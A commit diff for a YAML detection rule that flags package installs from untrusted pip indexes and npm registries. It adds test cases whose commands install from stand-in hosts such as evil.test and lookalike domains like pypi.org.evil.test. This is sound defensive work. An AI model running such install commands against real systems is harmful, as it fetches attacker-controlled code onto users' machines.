Skip to content

The cross-harness, self-improving memory layer for AI agents. Join our community: https://discord.com/invite/zdNChS2fBu

rules: judge each index/registry URL instead of excluding the whole command

Claude05b5fe4775be
diff --git a/rules/risky-command/package-install-from-untrusted-source.rule.yaml b/rules/risky-command/package-install-from-untrusted-source.rule.yaml
index a17c2df5..de956d55 100644
--- a/rules/risky-command/package-install-from-untrusted-source.rule.yaml
+++ b/rules/risky-command/package-install-from-untrusted-source.rule.yaml
@@ -24,10 +24,10 @@ match: >
(
e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(([^\\s;&|]*/)?(pip[0-9.]*|pipx|uv\\s+pip|uv\\s+tool|python[0-9.]*\\s+-m\\s+pip)\\s+install|uv\\s+add|poetry\\s+add)\\b[^;&|\\n]*?\\s['\\\"]?(git\\+|[\\w.\\[\\],-]+\\s*@\\s*(git\\+)?(https?|ssh|git|file)://|(https?|ssh|git)://[^\\s'\\\"]*\\.(whl|tar\\.gz|tgz|tar\\.bz2|zip|git)(#[^\\s'\\\"]*)?['\\\"]?(\\s|$))") ||
e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(([^\\s;&|]*/)?(pip[0-9.]*|pipx|uv\\s+pip|uv\\s+tool|python[0-9.]*\\s+-m\\s+pip)\\s+install|uv\\s+add|poetry\\s+add)\\b[^;&|\\n]*?\\s(--extra-index-url|--trusted-host)(\\s|=)") ||
- (e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(([^\\s;&|]*/)?(pip[0-9.]*|pipx|uv\\s+pip|uv\\s+tool|python[0-9.]*\\s+-m\\s+pip)\\s+install|uv\\s+add|poetry\\s+add)\\b[^;&|\\n]*?\\s(-i|--index-url|--index)(\\s+|=)['\\\"]?https?://") && !e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(([^\\s;&|]*/)?(pip[0-9.]*|pipx|uv\\s+pip|uv\\s+tool|python[0-9.]*\\s+-m\\s+pip)\\s+install|uv\\s+add|poetry\\s+add)\\b[^;&|\\n]*?\\s(-i|--index-url|--index)(\\s+|=)['\\\"]?https://pypi\\.org/simple/?['\\\"]?(\\s|$)"))
+ e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(([^\\s;&|]*/)?(pip[0-9.]*|pipx|uv\\s+pip|uv\\s+tool|python[0-9.]*\\s+-m\\s+pip)\\s+install|uv\\s+add|poetry\\s+add)\\b[^;&|\\n]*?\\s(-i|--index-url|--index)(\\s+|=)['\\\"]?(http://|https://([^\\s/:'\\\"?#p][^\\s/:'\\\"?#]*|p(|[^\\s/:'\\\"?#y][^\\s/:'\\\"?#]*|y(|[^\\s/:'\\\"?#p][^\\s/:'\\\"?#]*|p(|[^\\s/:'\\\"?#i][^\\s/:'\\\"?#]*|i(|[^\\s/:'\\\"?#\\.][^\\s/:'\\\"?#]*|\\.(|[^\\s/:'\\\"?#o][^\\s/:'\\\"?#]*|o(|[^\\s/:'\\\"?#r][^\\s/:'\\\"?#]*|r(|[^\\s/:'\\\"?#g][^\\s/:'\\\"?#]*|g([^\\s/:'\\\"?#][^\\s/:'\\\"?#]*)))))))))([:/'\\\"?#]|\\s|$))")
) || (
e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(npm\\s+(install|i|add|ci)|pnpm\\s+(add|install|i)|yarn\\s+(global\\s+)?add|bun\\s+(add|install|i))\\b[^;&|\\n]*?\\s['\\\"]?(@?[\\w./-]+@)?(git\\+|github:|gitlab:|bitbucket:|gist:|git://|ssh://|https?://[^\\s'\\\"]*\\.(tgz|tar\\.gz|git)(#[^\\s'\\\"]*)?['\\\"]?(\\s|$))") ||
- (e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(npm\\s+(install|i|add|ci)|pnpm\\s+(add|install|i)|yarn\\s+(global\\s+)?add|bun\\s+(add|install|i))\\b[^;&|\\n]*?\\s--registry(\\s+|=)['\\\"]?https?://") && !e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(npm\\s+(install|i|add|ci)|pnpm\\s+(add|install|i)|yarn\\s+(global\\s+)?add|bun\\s+(add|install|i))\\b[^;&|\\n]*?\\s--registry(\\s+|=)['\\\"]?https://registry\\.(npmjs\\.org|yarnpkg\\.com)/?['\\\"]?(\\s|$)"))
+ e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(npm\\s+(install|i|add|ci)|pnpm\\s+(add|install|i)|yarn\\s+(global\\s+)?add|bun\\s+(add|install|i))\\b[^;&|\\n]*?\\s--registry(\\s+|=)['\\\"]?(http://|https://([^\\s/:'\\\"?#r][^\\s/:'\\\"?#]*|r(|[^\\s/:'\\\"?#e][^\\s/:'\\\"?#]*|e(|[^\\s/:'\\\"?#g][^\\s/:'\\\"?#]*|g(|[^\\s/:'\\\"?#i][^\\s/:'\\\"?#]*|i(|[^\\s/:'\\\"?#s][^\\s/:'\\\"?#]*|s(|[^\\s/:'\\\"?#t][^\\s/:'\\\"?#]*|t(|[^\\s/:'\\\"?#r][^\\s/:'\\\"?#]*|r(|[^\\s/:'\\\"?#y][^\\s/:'\\\"?#]*|y(|[^\\s/:'\\\"?#\\.][^\\s/:'\\\"?#]*|\\.(|[^\\s/:'\\\"?#ny][^\\s/:'\\\"?#]*|n(|[^\\s/:'\\\"?#p][^\\s/:'\\\"?#]*|p(|[^\\s/:'\\\"?#m][^\\s/:'\\\"?#]*|m(|[^\\s/:'\\\"?#j][^\\s/:'\\\"?#]*|j(|[^\\s/:'\\\"?#s][^\\s/:'\\\"?#]*|s(|[^\\s/:'\\\"?#\\.][^\\s/:'\\\"?#]*|\\.(|[^\\s/:'\\\"?#o][^\\s/:'\\\"?#]*|o(|[^\\s/:'\\\"?#r][^\\s/:'\\\"?#]*|r(|[^\\s/:'\\\"?#g][^\\s/:'\\\"?#]*|g([^\\s/:'\\\"?#][^\\s/:'\\\"?#]*)))))))))|y(|[^\\s/:'\\\"?#a][^\\s/:'\\\"?#]*|a(|[^\\s/:'\\\"?#r][^\\s/:'\\\"?#]*|r(|[^\\s/:'\\\"?#n][^\\s/:'\\\"?#]*|n(|[^\\s/:'\\\"?#p][^\\s/:'\\\"?#]*|p(|[^\\s/:'\\\"?#k][^\\s/:'\\\"?#]*|k(|[^\\s/:'\\\"?#g][^\\s/:'\\\"?#]*|g(|[^\\s/:'\\\"?#\\.][^\\s/:'\\\"?#]*|\\.(|[^\\s/:'\\\"?#c][^\\s/:'\\\"?#]*|c(|[^\\s/:'\\\"?#o][^\\s/:'\\\"?#]*|o(|[^\\s/:'\\\"?#m][^\\s/:'\\\"?#]*|m([^\\s/:'\\\"?#][^\\s/:'\\\"?#]*)))))))))))))))))))))([:/'\\\"?#]|\\s|$))")
) ||
e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(cargo\\s+install\\s+([^;&|\\n]*\\s)?--git\\b|gem\\s+install\\s+([^;&|\\n]*\\s)?(--source|--clear-sources)\\b)")
)
@@ -132,6 +132,54 @@ tests:
- event: { action: command.executed }
command: { command: "pip install -i https://pypi.org/simple requests" }
session: { id: s1 }
+ - name: default_index_then_custom_index
+ verdict: match
+ events:
+ - event: { action: command.executed }
+ command: { command: "pip install -i https://pypi.org/simple a && pip install -i https://evil.test/simple b" }
+ session: { id: s1 }
+ - name: custom_index_overrides_default_in_one_install
+ verdict: match
+ events:
+ - event: { action: command.executed }
+ command: { command: "pip install -i https://pypi.org/simple a -i https://evil.test/simple" }
+ session: { id: s1 }
+ - name: default_registry_then_custom_registry
+ verdict: match
+ events:
+ - event: { action: command.executed }
+ command: { command: "npm i a --registry https://registry.npmjs.org && npm i b --registry https://evil.test" }
+ session: { id: s1 }
+ - name: lookalike_index_host
+ verdict: match
+ events:
+ - event: { action: command.executed }
+ command: { command: "pip install --index-url https://pypi.org.evil.test/simple x" }
+ session: { id: s1 }
+ - name: lookalike_registry_host
+ verdict: match
+ events:
+ - event: { action: command.executed }
+ command: { command: "npm i x --registry=https://registry.npmjs.org.evil.test/" }
+ session: { id: s1 }
+ - name: plain_http_pypi
+ verdict: match
+ events:
+ - event: { action: command.executed }
+ command: { command: "pip install -i http://pypi.org/simple x" }
+ session: { id: s1 }
+ - name: default_index_equals_trailing_slash
+ verdict: no_match
+ events:
+ - event: { action: command.executed }
+ command: { command: "pip install --index-url=https://pypi.org/simple/ requests" }
+ session: { id: s1 }
+ - name: yarn_default_registry
+ verdict: no_match
+ events:
+ - event: { action: command.executed }
+ command: { command: "yarn add left-pad --registry https://registry.yarnpkg.com" }
+ session: { id: s1 }
- name: npm_registry_package
verdict: no_match
events: